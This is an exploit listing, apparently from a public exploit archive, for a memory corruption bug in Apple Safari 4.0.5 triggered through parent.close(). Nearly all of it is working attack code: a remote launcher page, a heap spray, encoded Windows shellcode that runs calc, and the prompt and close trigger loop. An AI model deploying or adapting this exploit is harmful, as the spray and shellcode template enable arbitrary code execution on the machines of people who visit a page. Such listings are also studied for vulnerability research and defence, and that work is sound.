Apple Safari 4.0.5 - 'parent.close()' Memory Corruption Code Execution

<!--
Apple Safari 4.0.5 parent.close() (memory corruption) 0day Code Execution Exploit
Bug discovered by Krystian Kloskowski (h07) <[email protected]>
Tested on: Apple Safari 4.0.5 / XP SP2 Polish
Shellcode: Windows Execute Command (calc)
Local: Yes
Remote: Yes (POPUP must be enabled [Ctrl+Shift+K])
Just for fun ;)
-->

<!---------------------------------REMOTE.htm---------------------------------
<script>
window.open("0day.htm"); //parent.close() activation
self.close();
</script>
-----------------------------------REMOTE.htm-------------------------------->

<!---------------------------------0day.htm---------------------------------->
<h1>Alt + F4 :)</h1>

<script>
function make_buf(payload, len) {
    while(payload.length < (len * 2)) payload += payload;
    payload = payload.substring(0, len);
    return payload;
}

var shellcode = unescape("%u9090%u9090"+ //Windows Execute Command (calc)
"%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+
"%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+
"%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+
"%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+
"%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+
"%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+
"%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063");


bigblock = unescape("%u0D0D%u0D0D");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<1000;i++) memory[i] = block + shellcode;

var a = parent;
var buf = make_buf("AAAA", 10000);

for(var i = 0; i <= 1; i++) {
    a.prompt(alert);
    a.prompt(buf);
    a.close();
}
</script>
<!---------------------------------0day.htm---------------------------------->